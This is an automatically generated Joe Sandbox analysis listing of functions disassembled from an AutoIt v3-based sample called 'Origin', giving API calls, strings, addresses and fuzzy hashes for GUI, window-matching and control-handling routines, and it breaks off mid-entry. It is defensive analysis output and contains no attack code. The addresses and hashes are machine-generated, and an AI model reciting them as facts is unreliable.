CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00BD2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00BD2D60
GetClientRect.USER32(00000000,000000FF), ref: 00BD2D7E
GetStockObject.GDI32(00000011), ref: 00BD2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BD2DA5

Part of subcall function 00BD2714: GetCursorPos.USER32(?), ref: 00BD2727
Part of subcall function 00BD2714: ScreenToClient.USER32(00C967B0,?), ref: 00BD2744
Part of subcall function 00BD2714: GetAsyncKeyState.USER32(00000001), ref: 00BD2769
Part of subcall function 00BD2714: GetAsyncKeyState.USER32(00000002), ref: 00BD2777

SetTimer.USER32(00000000,00000000,00000028,00BD1473), ref: 00BD2DCC

Strings

AutoIt v3 GUI, xrefs: 00BD2D44

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: ed78b6afc7b6ac37bf312a425892b2b4a3806ce1b2609b2557cf366ea87b9e17
Instruction ID: 9ad2dc86bac315c3703190dc36159ed98a7f4709a85bcd90ef10fc601bbd653b
Opcode Fuzzy Hash: ed78b6afc7b6ac37bf312a425892b2b4a3806ce1b2609b2557cf366ea87b9e17
Instruction Fuzzy Hash: DDB15F7160024A9FDB14DFA9CC89BAEB7F4FB18310F10426AFA15A72E0DB749950CF54

Function 00BF0354 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

GetForegroundWindow.USER32(00C60980,?,?,?,?,?), ref: 00BF040E
IsWindow.USER32(?), ref: 00C264A0

Strings

REGEXPTITLE, xrefs: 00C26299
ALL, xrefs: 00C26407
CLASS, xrefs: 00C262CA
INSTANCE, xrefs: 00C263DF
HANDLE, xrefs: 00C26283
TITLE, xrefs: 00C26435
REGEXPCLASS, xrefs: 00C262EB
LAST, xrefs: 00C26257
ACTIVE, xrefs: 00C2626D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 924905526e7dbad4205dbfe565f4850418163bae1781ee927acce6cb0b2b2ffd
Instruction ID: 46c08ff7954aa5c55f6fda89fbd8ccfe43babde2316ae8ce5f5ab4b9c0524407
Opcode Fuzzy Hash: 924905526e7dbad4205dbfe565f4850418163bae1781ee927acce6cb0b2b2ffd
Instruction Fuzzy Hash: 13D109701042429BCB08FF11D4819BABBE5FF54304F504A5DF5A683AA3DB31EA59CBA1

Function 00C541E7 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C54274
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00C54334

Strings

SELECTCLEAR, xrefs: 00C543B3
SELECTINVERT, xrefs: 00C54404
GETTEXT, xrefs: 00C542DD
GETSELECTED, xrefs: 00C54462
ISSELECTED, xrefs: 00C5433F
SELECTALL, xrefs: 00C5439B
GETSELECTEDCOUNT, xrefs: 00C54317
GETSUBITEMCOUNT, xrefs: 00C542BF
DESELECT, xrefs: 00C54422
FINDITEM, xrefs: 00C544A7
GETITEMCOUNT, xrefs: 00C542A6
VIEWCHANGE, xrefs: 00C544F3
SELECT, xrefs: 00C543CE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: c1d10a0dd5d7a5a7ba726a37767449ef1aed27a1e8f278e4c8c69a34633123ef
Instruction ID: 66bd8dae7a73f1ec038ec298bc7ac3203465dde056d1c83e282e720071e2cda2
Opcode Fuzzy Hash: c1d10a0dd5d7a5a7ba726a37767449ef1aed27a1e8f278e4c8c69a34633123ef
Instruction Fuzzy Hash: 10A18E742142019FCB18EF10C851B7AB3E5FF84319F1049A9F8665B3A2EB71ED89CB55

Function 00C2AF1D Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00C2AF5E
__swprintf.LIBCMT ref: 00C2AFFF
_wcscmp.LIBCMT ref: 00C2B012
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00C2B067
_wcscmp.LIBCMT ref: 00C2B0A3
GetClassNameW.USER32(?,?,00000400), ref: 00C2B0DA
GetDlgCtrlID.USER32(?), ref: 00C2B12C
GetWindowRect.USER32(?,?), ref: 00C2B162
GetParent.USER32(?), ref: 00C2B180
ScreenToClient.USER32(00000000), ref: 00C2B187
GetClassNameW.USER32(?,?,00000100), ref: 00C2B201
_wcscmp.LIBCMT ref: 00C2B215
GetWindowTextW.USER32(?,?,00000400), ref: 00C2B23B
_wcscmp.LIBCMT ref: 00C2B24F

Part of subcall function 00BF378E: _iswctype.LIBCMT ref: 00BF3796

Strings

%s%u, xrefs: 00C2AFF9

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 0d95a26e5c2fa95cc5fd4e5c043b1bcc6647919b5fe11b1407fe4882929f5c61
Instruction ID: ac4df66358a17d17ced7e565eb5168d5b31958bf7ecabd8b2bf213d159f6070d
Opcode Fuzzy Hash: 0d95a26e5c2fa95cc5fd4e5c043b1bcc6647919b5fe11b1407fe4882929f5c61
Instruction Fuzzy Hash: 59A1DB71204726AFDB15DF60D884BAEB7E8FF44310F108629F9A992590DB30EE55CBA1

Function 00C2B850 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00C2B894
_wcscmp.LIBCMT ref: 00C2B8A5
GetWindowTextW.USER32(00000001,?,00000400), ref: 00C2B8CD
CharUpperBuffW.USER32(?,00000000), ref: 00C2B8EA
_wcscmp.LIBCMT ref: 00C2B908
_wcsstr.LIBCMT ref: 00C2B919
GetClassNameW.USER32(00000018,?,00000400), ref: 00C2B951
_wcscmp.LIBCMT ref: 00C2B961
GetWindowTextW.USER32(00000002,?,00000400), ref: 00C2B988
GetClassNameW.USER32(00000018,?,00000400), ref: 00C2B9D1
_wcscmp.LIBCMT ref: 00C2B9E1
GetClassNameW.USER32(00000010,?,00000400), ref: 00C2BA09
GetWindowRect.USER32(00000004,?), ref: 00C2BA72

Strings

ThumbnailClass, xrefs: 00C2B95C, 00C2B9DC
@, xrefs: 00C2B875

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 6d16ecbb49dccbd5cdbb86dd300abc6af28c8907da5b940df6196e936f92c9e5
Instruction ID: 5555f9f8b36b70f0ff3103943cc8b8d2b0fb080e069cd5ff5ce30ad8a13f8310
Opcode Fuzzy Hash: 6d16ecbb49dccbd5cdbb86dd300abc6af28c8907da5b940df6196e936f92c9e5
Instruction Fuzzy Hash: 4081C171004219AFDB10DF15E881FBA77E8FF84314F148469FE999A492DB70DE89CBA1

Function 00C2B699 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C2B6F8

Strings

[CLASS:, xrefs: 00C2B748
[LAST, xrefs: 00C2B7A5
[REGEXPTITLE:, xrefs: 00C2B720
HANDLE=, xrefs: 00C2B6F1
[ALL, xrefs: 00C2B79E
ALL, xrefs: 00C2B78C
[HANDLE:, xrefs: 00C2B704
[ACTIVE, xrefs: 00C2B6E5
CLASSNAME=, xrefs: 00C2B735
REGEXP=, xrefs: 00C2B70D
LAST, xrefs: 00C2B6BD
ACTIVE, xrefs: 00C2B6D3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 37e363a93f1a7122446e3bd1a426e55b03848e32b7d1a56c38c502f9ec9cfcd8
Instruction ID: b64ae9764165aa96492e0eefa3ebd972c0260eeed27c417d0f054eced40ca941
Opcode Fuzzy Hash: 37e363a93f1a7122446e3bd1a426e55b03848e32b7d1a56c38c502f9ec9cfcd8
Instruction Fuzzy Hash: 5E31D030940215A6DB18FA65EC83EED73E4AF10B10F700976F812B28D2EF616E08D765

Function 00C2C97A Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00C2C98D
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00C2C99F
SetWindowTextW.USER32(?,?), ref: 00C2C9B6
GetDlgItem.USER32(?,000003EA), ref: 00C2C9CB
SetWindowTextW.USER32(00000000,?), ref: 00C2C9D1
GetDlgItem.USER32(?,000003E9), ref: 00C2C9E1
SetWindowTextW.USER32(00000000,?), ref: 00C2C9E7
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00C2CA08
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00C2CA22
GetWindowRect.USER32(?,?), ref: 00C2CA2B
SetWindowTextW.USER32(?,?), ref: 00C2CA96
GetDesktopWindow.USER32 ref: 00C2CA9C
GetWindowRect.USER32(00000000), ref: 00C2CAA3
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00C2CAEF
GetClientRect.USER32(?,?), ref: 00C2CAFC
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00C2CB21
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00C2CB4C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 052efa0d5e60fca7e4579566dc9a4af03688f521f51ba49ff7784cd2d349b2e2
Instruction ID: 0d7dfc98409e76c27cbb810b17812dfc33104e82ddb538e34ffe5650e71d8f5c
Opcode Fuzzy Hash: 052efa0d5e60fca7e4579566dc9a4af03688f521f51ba49ff7784cd2d349b2e2
Instruction Fuzzy Hash: 7A518C30900709EFDB20DFA9DD89B6FBBF5FF04705F100929E596A29A0C7B4A954DB50

Function 00C454AD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00C454C3
LoadCursorW.USER32(00000000,00007F00), ref: 00C454CE
LoadCursorW.USER32(00000000,00007F03), ref: 00C454D9
LoadCursorW.USER32(00000000,00007F8B), ref: 00C454E4
LoadCursorW.USER32(00000000,00007F01), ref: 00C454EF
LoadCursorW.USER32(00000000,00007F81), ref: 00C454FA
LoadCursorW.USER32(00000000,00007F88), ref: 00C45505
LoadCursorW.USER32(00000000,00007F80), ref: 00C45510
LoadCursorW.USER32(00000000,00007F86), ref: 00C4551B
LoadCursorW.USER32(00000000,00007F83), ref: 00C45526
LoadCursorW.USER32(00000000,00007F85), ref: 00C45531
LoadCursorW.USER32(00000000,00007F82), ref: 00C4553C
LoadCursorW.USER32(00000000,00007F84), ref: 00C45547
LoadCursorW.USER32(00000000,00007F04), ref: 00C45552
LoadCursorW.USER32(00000000,00007F02), ref: 00C4555D
LoadCursorW.USER32(00000000,00007F89), ref: 00C45568
GetCursorInfo.USER32(?), ref: 00C45578

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 0995133fb23787f6871380f4c8eeb2d2ff0abe1c05b2c230710ff69a0fe5ade6
Instruction ID: aa6a4446077d3f05fad411d727b37e77332558f06d78a1d5cac9ddf5f33510ef
Opcode Fuzzy Hash: 0995133fb23787f6871380f4c8eeb2d2ff0abe1c05b2c230710ff69a0fe5ade6
Instruction Fuzzy Hash: 8B31F4B0D483196BDB109FB68C8996FBFE9FF04750F50452AE51CE7281DA78A9008F91

Function 00C5A5A6 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C5A646
DestroyWindow.USER32(00000000,?), ref: 00C5A6C0

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00C5A73A
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00C5A75C
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C5A76F
DestroyWindow.USER32(00000000), ref: 00C5A791
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00BD0000,00000000), ref: 00C5A7C8
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C5A7E1
GetDesktopWindow.USER32 ref: 00C5A7FA
GetWindowRect.USER32(00000000), ref: 00C5A801
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00C5A819
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00C5A831

Part of subcall function 00BD29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BD29BC

Strings

0, xrefs: 00C5A65C
tooltips_class32, xrefs: 00C5A733, 00C5A7C1

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: e00eb1af56beb4049acca1c5af3bdf303d3ae1acaeb7b33f18d1479a7f1df43a
Instruction ID: cc95152605204a13e03387c860e76a834c84c634de2c1acc09859675887f7fa6
Opcode Fuzzy Hash: e00eb1af56beb4049acca1c5af3bdf303d3ae1acaeb7b33f18d1479a7f1df43a
Instruction Fuzzy Hash: 0771AB74140241AFD725CF29CC48F6B7BE5FB88304F140A1EF995972A1D770EA4ACB5A

Function 00C5CA21 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

DragQueryPoint.SHELL32(?,?), ref: 00C5CA4A

Part of subcall function 00C5AF24: ClientToScreen.USER32(?,?), ref: 00C5AF4D
Part of subcall function 00C5AF24: GetWindowRect.USER32(?,?), ref: 00C5AFC3
Part of subcall function 00C5AF24: PtInRect.USER32(?,?,00C5C437), ref: 00C5AFD3

SendMessageW.USER32(?,000000B0,?,?), ref: 00C5CAB3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00C5CABE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00C5CAE1
_wcscat.LIBCMT ref: 00C5CB11
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00C5CB28
SendMessageW.USER32(?,000000B0,?,?), ref: 00C5CB41
SendMessageW.USER32(?,000000B1,?,?), ref: 00C5CB58
SendMessageW.USER32(?,000000B1,?,?), ref: 00C5CB7A
DragFinish.SHELL32(?), ref: 00C5CB81
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00C5CC74

Strings

@GUI_DROPID, xrefs: 00C5CBA1
@GUI_DRAGID, xrefs: 00C5CBEC
@GUI_DRAGFILE, xrefs: 00C5CC23

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 97a3607a9162711d40632b9673e16971a310b9f1b4790e805736100abc4b5318
Instruction ID: 0e5317f3dd2fb45a19be3c3e161054b16abaf21c615386f50c46cf813f4ae17e
Opcode Fuzzy Hash: 97a3607a9162711d40632b9673e16971a310b9f1b4790e805736100abc4b5318
Instruction Fuzzy Hash: D9615C71108300AFC711EF65DC85EAFBBF8EF88750F100A2EF595962A1DB709A49CB56

Function 00C38142 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00C38187
VariantCopy.OLEAUT32(00000000,?), ref: 00C38190
VariantClear.OLEAUT32(00000000), ref: 00C3819C
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00C3828A
__swprintf.LIBCMT ref: 00C382BA
VarR8FromDec.OLEAUT32(?,?), ref: 00C382E6
VariantInit.OLEAUT32(?), ref: 00C38397
SysFreeString.OLEAUT32(?), ref: 00C3842B
VariantClear.OLEAUT32(?), ref: 00C38485
VariantClear.OLEAUT32(?), ref: 00C38494
VariantInit.OLEAUT32(00000000), ref: 00C384D2

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00C382B4
Default, xrefs: 00C38347

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 483c2bede18ec234af2cbeab5ecc42ff2047ba36f61847d417cc266ff6727175
Instruction ID: 860f0a7f29f577ae572739a36fefb3056382331f49a764dc71a330e52fb4724c
Opcode Fuzzy Hash: 483c2bede18ec234af2cbeab5ecc42ff2047ba36f61847d417cc266ff6727175
Instruction Fuzzy Hash: D7D12131620716EBDB20AF66C884B7EB7B4BF04700F248565F425AB291DF78DD49DBA0

Function 00C54797 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C54829
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00C54874

Strings

GETSELECTED, xrefs: 00C54984
COLLAPSE, xrefs: 00C548BA
CHECK, xrefs: 00C54894
GETTOTALCOUNT, xrefs: 00C5485B
EXISTS, xrefs: 00C548DD
UNCHECK, xrefs: 00C54A50
EXPAND, xrefs: 00C54926
GETITEMCOUNT, xrefs: 00C54956
ISCHECKED, xrefs: 00C549F7
SELECT, xrefs: 00C54A25
GETTEXT, xrefs: 00C549C7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: b0281cba9cf0066b2e37c70feef55d558e29764d628d884b601d2a81985b0093
Instruction ID: 4ddc5902d6e8ad6db0037ae07a7767bb2fb2288a59f001d298003d1f9cd84cde
Opcode Fuzzy Hash: b0281cba9cf0066b2e37c70feef55d558e29764d628d884b601d2a81985b0093
Instruction Fuzzy Hash: 8491A5782046019BCB08EF10C451A6AB7E5EF94358F0089ADFCA65B7A3DB31ED89DB45

Function 00C5BBEB Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00C5BCA1
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00C595AF), ref: 00C5BCFD
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C5BD36
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00C5BD79
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C5BDB0
FreeLibrary.KERNEL32(?), ref: 00C5BDBC
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00C5BDCC
DestroyIcon.USER32(?,?,?,?,?,00C595AF), ref: 00C5BDDB
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00C5BDF8
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00C5BE04

Part of subcall function 00BF305F: __wcsicmp_l.LIBCMT ref: 00BF30E8

Strings

.dll, xrefs: 00C5BC5A
.exe, xrefs: 00C5BC37
.icl, xrefs: 00C5BC17

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
